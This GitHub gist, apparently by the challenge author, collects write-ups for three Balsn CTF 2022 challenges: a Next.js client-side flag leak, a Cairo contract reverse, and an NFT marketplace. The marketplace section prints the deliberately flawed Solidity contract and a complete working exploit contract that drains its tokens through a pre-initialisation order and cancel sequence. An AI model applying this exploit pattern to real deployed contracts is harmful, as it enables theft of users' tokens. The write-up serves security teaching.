Skip to content

Instantly share code, notes, and snippets.

@YSc21
Created September 12, 2022 09:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save YSc21/b1cf72f4cc124c84f13028c1dc6f1ecd to your computer and use it in GitHub Desktop.
Save YSc21/b1cf72f4cc124c84f13028c1dc6f1ecd to your computer and use it in GitHub Desktop.
Balsn CTF 2022

Balsn CTF 2022

My First App

I love next.js! http://my-first-web.balsnctf.com:3000/

Author: ysc

Category: Web

Solved: 263 / 584

I think it's just a warmup. The core issue in this challenge is that it should not use sensitive data in client-side in Next.js. The client-side source import globalVars which means that all data (including globalVars.FLAG) are imported into client-side. So you can grep client-side sources and get FLAG. You can also check this writeup, it has a good walkthrough on this challenge.

Flag: BALSN{hybrid_frontend_and_api}

Cairo Reverse

Simple cairo reverse

starknet-compile 0.9.1

dist.zip

Author: ysc

Category: Smart Contract, Reverse

Solved: 41 / 584

It's a simple reverse challenge, the solution is the same as this writeup, if you google cairo decompiler you may find thoth. Use thoth to decompile:

@view func __main__.get_flag{syscall_ptr : felt*, pedersen_ptr : starkware.cairo.common.cairo_builtins.HashBuiltin*, range_check_ptr : felt}(t : felt) -> (res : felt)
    [AP] = [FP-3] + -0x1d6e61c2969f782ede8c3;    ap ++
    if [AP-1] == 0:
        [AP] =  [FP-3] * [FP-3];        ap ++
        [AP] = [FP-6];        ap ++
        [AP] = [FP-5];        ap ++
        [AP] = [FP-4];        ap ++
        [AP] = [AP-4] + 0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4;        ap ++
        return([ap-1])

    end
    [AP] = [FP-6];    ap ++
    [AP] = [FP-5];    ap ++
    [AP] = [FP-4];    ap ++
    # 0 -> 0x0
    [AP] = 0;    ap ++
    return([ap-1])
end

Another way, because the challenge also provides source code:

# Declare this file as a StarkNet contract.
%lang starknet

from starkware.cairo.common.cairo_builtins import HashBuiltin

@view
func get_flag{
    syscall_ptr : felt*,
    pedersen_ptr : HashBuiltin*,
    range_check_ptr,
}(t:felt) -> (res : felt):
    if t == /* CENSORED */:
        return (res=0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + t*t)
    else:
        return(res=0)
    end
end

You can try to set a dummy t and compile it by starknet-compile to diff contract_compiled.json. You will find that only different data is "0x800000000000010fffffffffffffffffffffffffffe2919e3d696087d12173e" , and it's able to get t to calculate the result.

Flag: BALSN{read_data_from_cairo}

NFT Marketplace

Simple NFT Marketplace

http://nft-marketplace.balsnctf.com:3000/

Author: ysc

Category: Smart Contract

Solved: 10 / 584

These writeups are very well written, I highly recommend reading these writeups:

In short, there are 2 key points in this challenge:

  1. Interact with the contract before initialize
  2. The sig transferFrom of ERC20 is the same as the sig transferFrom of ERC721

Because the contract uses assembly call to transfer ERC721 tokens, you're able to call createOrder on a non-exist token address before initialize, and call cancelOrder to get tokens after the token is deployed. And the contract approves itself in initialize (nmToken.approve(address(this), type(uint256).max);), so we can call transferFrom both on ERC20 and ERC721. Note that this contract has a function fulfillTest, which is implemented for debug :) In my exploit contract, it's not necessary to use this function.

Contract source code

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract RareNFT is ERC721 {
    bool _lock = false;

    constructor(string memory name, string memory symbol) ERC721(name, symbol) {}

    function mint(address to, uint256 tokenId) public {
        require(!_lock, "Locked");
        _mint(to, tokenId);
    }

    function lock() public {
        _lock = true;
    }
}

contract NMToken is ERC20 {
    bool _lock = false;
    address admin;

    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        admin = msg.sender;
    }

    function mint(address to, uint256 amount) public {
        // shh - admin function
        require(msg.sender == admin, "admin only");
        _mint(to, amount);
    }

    function move(address from, address to, uint256 amount) public {
        // shh - admin function
        require(msg.sender == admin, "admin only");
        _transfer(from, to, amount);
    }

    function lock() public {
        _lock = true;
    }
}

contract NFTMarketplace {
    error TransferFromFailed();
    event GetFlag(bool success);

    bool public initialized;
    bool public tested;
    RareNFT public rareNFT;
    NMToken public nmToken;
    Order[] public orders;

    struct Order {
        address maker;
        address token;
        uint256 tokenId;
        uint256 price;
    }

    constructor() {
    }

    function initialize() public {
        require(!initialized, "Initialized");
        initialized = true;

        nmToken = new NMToken{salt: keccak256("NMToken")}("NM Token", "NMToken");
        nmToken.mint(address(this), 1000000);
        nmToken.mint(msg.sender, 100);
        nmToken.lock();
        nmToken.approve(address(this), type(uint256).max);

        rareNFT = new RareNFT{salt: keccak256("rareNFT")}("Rare NFT", "rareNFT");
        rareNFT.mint(address(this), 1);
        rareNFT.mint(address(this), 2);
        rareNFT.mint(address(this), 3);
        rareNFT.mint(msg.sender, 4);
        rareNFT.lock();

        // NFTMarketplace(this).createOrder(address(rareNFT), 1, 10000000000000);  // I think it's super rare.
        NFTMarketplace(this).createOrder(address(rareNFT), 2, 100);
        NFTMarketplace(this).createOrder(address(rareNFT), 3, 100000);
    }

    function getTokenVersion() public pure returns (bytes memory) {
        return type(NMToken).creationCode;
    }

    function getNFTVersion() public pure returns (bytes memory) {
        return type(RareNFT).creationCode;
    }

    function createOrder(address token, uint256 tokenId, uint256 price) public returns(uint256) {
        orders.push(Order(msg.sender, token, tokenId, price));
        _safeTransferFrom(token, msg.sender, address(this), tokenId);
        return orders.length - 1;
    }

    function cancelOrder(uint256 orderId) public {
        require(orderId < orders.length, "Invalid orderId");
        Order memory order = orders[orderId];
        require(order.maker == msg.sender, "Invalid maker");
        _deleteOrder(orderId);
        _safeTransferFrom(order.token, address(this), order.maker, order.tokenId);
    }

    function fulfill(uint256 orderId) public {
        require(orderId < orders.length, "Invalid orderId");
        Order memory order = orders[orderId];
        require(order.maker != address(0), "Invalid maker");
        _deleteOrder(orderId);
        nmToken.move(msg.sender, order.maker, order.price);
        _safeTransferFrom(order.token, address(this), msg.sender, order.tokenId);
    }

    function fulfillTest(address token, uint256 tokenId, uint256 price) public {
        require(!tested, "Tested");
        tested = true;
        uint256 orderId = NFTMarketplace(this).createOrder(token, tokenId, price);
        fulfill(orderId);
    }

    function verify() public {
        require(nmToken.balanceOf(address(this)) == 0, "failed");
        require(nmToken.balanceOf(msg.sender) > 1000000, "failed");
        require(rareNFT.ownerOf(1) == msg.sender && rareNFT.ownerOf(2) == msg.sender && rareNFT.ownerOf(3) == msg.sender && rareNFT.ownerOf(4) == msg.sender);
        emit GetFlag(true);
    }

    function _safeTransferFrom(
        address token,
        address from,
        address to,
        uint256 tokenId
    ) internal {
        bool success;
        bytes memory data;

        assembly {
            // we'll write our calldata to this slot below, but restore it later
            let memPointer := mload(0x40)
            // write the abi-encoded calldata into memory, beginning with the function selector
            mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
            mstore(4, from) // append the 'from' argument
            mstore(36, to) // append the 'to' argument
            mstore(68, tokenId) // append the 'tokenId' argument

            success := and(
                // set success to whether the call reverted, if not we check it either
                // returned exactly 1 (can't just be non-zero data), or had no return data
                or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())),
                // we use 100 because that's the total length of our calldata (4 + 32 * 3)
                // - counterintuitively, this call() must be positioned after the or() in the
                // surrounding and() because and() evaluates its arguments from right to left
                call(gas(), token, 0, 0, 100, 0, 32)
            )
            data := returndatasize()

            mstore(0x60, 0) // restore the zero slot to zero
            mstore(0x40, memPointer) // restore the memPointer
        }
        if (!success) revert TransferFromFailed();
    }

    function _deleteOrder(uint256 orderId) internal {
        orders[orderId] = orders[orders.length - 1];
        orders.pop();
    }
}


// // User Contract Example
// interface Callee {
//     function initialize() external;
//     function verify() external;
// }
// 
// contract UserContract {
//     function execute(address target) public {
//         Callee callee = Callee(target);
//         callee.initialize();
//         callee.verify();
//     }
// }

Exploit

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

import "./NFTMarketplace.sol";

contract UserContract {
    address public NFTAddress;
    address public TokenAddress;

    function execute(address target) public {
        NFTMarketplace nftmarketplace = NFTMarketplace(target);

        NFTAddress = calculateAddr(
            target,
            keccak256("rareNFT"),
            abi.encodePacked(nftmarketplace.getNFTVersion(), abi.encode("Rare NFT", "rareNFT"))
        );
        TokenAddress = calculateAddr(
            target,
            keccak256("NMToken"),
            abi.encodePacked(nftmarketplace.getTokenVersion(), abi.encode("NM Token", "NMToken"))
        );
        
        nftmarketplace.createOrder(NFTAddress, 1, 0);
        nftmarketplace.createOrder(NFTAddress, 2, 0);
        nftmarketplace.createOrder(NFTAddress, 3, 0);
        nftmarketplace.createOrder(TokenAddress, 1000000, 0);

        nftmarketplace.initialize();

        nftmarketplace.cancelOrder(3);
        nftmarketplace.cancelOrder(2);
        nftmarketplace.cancelOrder(1);
        nftmarketplace.cancelOrder(0);

        nftmarketplace.verify();
    }

    function calculateAddr(address target, bytes32 salt, bytes memory bytecode) public pure returns(address predictedAddress){
        predictedAddress = address(uint160(uint(keccak256(abi.encodePacked(
            bytes1(0xff),
            target,
            salt,
            keccak256(bytecode)
        )))));
    }
}

Flag: BALSN{safeTransferFrom_ERC20_to_ERC721}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment